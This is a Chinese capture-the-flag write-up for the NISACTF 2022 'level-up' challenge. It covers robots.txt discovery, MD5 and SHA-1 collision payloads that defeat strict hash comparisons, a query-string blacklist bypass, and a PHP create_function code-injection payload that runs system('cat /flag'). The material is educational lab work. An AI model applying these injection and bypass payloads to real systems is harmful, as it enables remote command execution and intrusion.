[NISACTF 2022]level-up wp
level 1
robots.txt
通过目录爆破,发现存在 robots.txt 文件(或者说查看源码,源码中有 disallow 提示,说明存在 robots.txt 文件):
dirsearch -u "http://node5.anna.nssctf.cn:28126/"
直接访问:
出现提示:level_2_1s_h3re.php
level 2
访问 level_2_1s_h3re.php 文件:
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){$a1 = (string)$_POST['array1'];$a2 = (string)$_POST['array2'];if ($a1 == $a2){die("????");}if (md5($a1) === md5($a2)){echo $level3;}else{die("level 2 failed ...");}}
else{show_source(__FILE__);
}
?>
MD5 强比较,且不可用数组绕过
POST 传参 payload:
array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
在用 hackbar 试验的时候总是不成功,换用 burp 多试几次就好了。
返回结果:
提示:Level___3.php
level 3
访问 Level___3.php :
<?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){$a1 = (string)$_POST['array1'];$a2 = (string)$_POST['array2'];if ($a1 == $a2){die("????");}if (sha1($a1) === sha1($a2)){echo $level4;}else{die("level 3 failed ...");}}
else{show_source(__FILE__);
}
?>
sha1 强比较,且不可用数组绕过
推荐博客:SHA-1绕过
POST 传参 payload :
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
同样是用 burp 多试几次。
返回结果:
提示:level_level_4.php
level 4
访问 level_level_4.php :
<?php
//here is last levelerror_reporting(0);include "str.php";show_source(__FILE__);$str = parse_url($_SERVER['REQUEST_URI']);if($str['query'] == ""){echo "give me a parameter";}if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){die("blacklist here");}if($_GET['NI_SA_'] === "txw4ever"){die($level5);}else{die("level 4 failed ...");}?>
$_SERVER[‘REQUEST_URI’]
$_SERVER
是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。
REQUEST_URI
是 URI 用来指定要访问的页面。
例如访问地址:http://www.baidu.com/index.html?a=1&b=1 。
那么 $_SERVER['REQUEST_URI']
获取到的值就是 /index.html?a=1&b=1
此外 $_SERVER['REQUEST_URI']
在获取 URL 编码字符时不会进行 URL 解码。
parse_url 函数
推荐文章:parse_url - PHP 中文手册
parse_url
函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
比如以下程序:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
输出结果:
Array
([scheme] => http[host] => hostname[user] => username[pass] => password[path] => /path[query] => arg=value[fragment] => anchor
)
/path
代码分析
因此,在上述程序中 $str['query']
就是 GET 传参的键值对。该键值对会接受 preg_match 的检查,而传入的参数名为 NI_SA_ ,下划线被过滤,因此需要找个东西替代下划线。
PHP GET 传参特殊字符替换
推荐文章:GET数组键值特殊字符替换
PHP 在接收 GET 传参时,如果遇到部分特殊字符,会将其替换为下划线 _ 。
根据推荐文章中 fuzz 测算的结果,这部分字符为:
非法字符开头或者只有一个非法字符的情况,会被转换成 _
的有:.
。 非法字符在中间,或者非法字符结尾的情况,会被转换成 _
的有:.
、空格
、+
、[
。
payload
这里就选用加号代替下划线:
GET 传参:NI+SA+=txw4ever
返回结果:
提示:55_5_55.php
level 5
访问 55_5_55.php :
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){show_source(__FILE__);
}
else{$a('',$b);
}
payload
查看根目录下所有文件:
55_5_55.php?a=\create_function&b=return;}system('ls /');/*
查看 flag :
55_5_55.php?a=\create_function&b=return;}system('cat /flag');/*
返回结果:
下面来解释一下 payload 。
PHP create_function 注入
推荐博客:create_function 代码注入
函数定义:
function create_function(string $args, string $code): false|string {}
-
args
The function arguments, as a single comma-separated string. 要创建函数的参数。
-
code
The function code. 要创建函数的内容。
Returns:
string If the given handle is a resource, this function will return a string representing its type. If the type is not identified by this function, the return value will be the string Unknown.
返回类型是字符串,表征函数的字符串。
值得注意的是:本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。
使用案例:
<?php
$a = create_function('', "return \"a\";");
echo $a;
输出结果:
lambda_1
当我需要使用这个函数时,只需要直接使用:a()
即可。
payload 解释
想必最有疑问的是 b 参数值为什么前面要加个大括号 } ,create_function 函数又没有大括号。
看了那么多文章,让博主来细细讲解一下:
create_function 在创建函数时等同于直接用正常方式声明了一个函数,虽然 create_function 没有大括号,但是声明函数的时候是有的,加个大括号是为了在这里闭合。例如:
create_function('$name','echo $name')
等同于:
function ($name) {echo $name;
}
故而当我传入 payload 时,$a('',$b);
变成了:
\create_function('', return;}system('cat /flag');/*)
等同于:
function () {return;}system('cat /flag');/*
}
大括号是为了闭合前面的大括号,而 /* 是为了注释后面的所有代码。
此外,最前面的 \ 为什么不会报错呢?这涉及到 PHP 的全局空间。
PHP 的全局空间
推荐文章:全局空间- Manual
全局空间 (PHP 5 >= 5.3.0, PHP 7, PHP 8)
如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀 \
表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此。
故而 \create_function
表示该 create_function 函数是全局空间中的函数。
前面加个 \ ,既能绕过正则,又能仍然正常使用此函数,妙哉。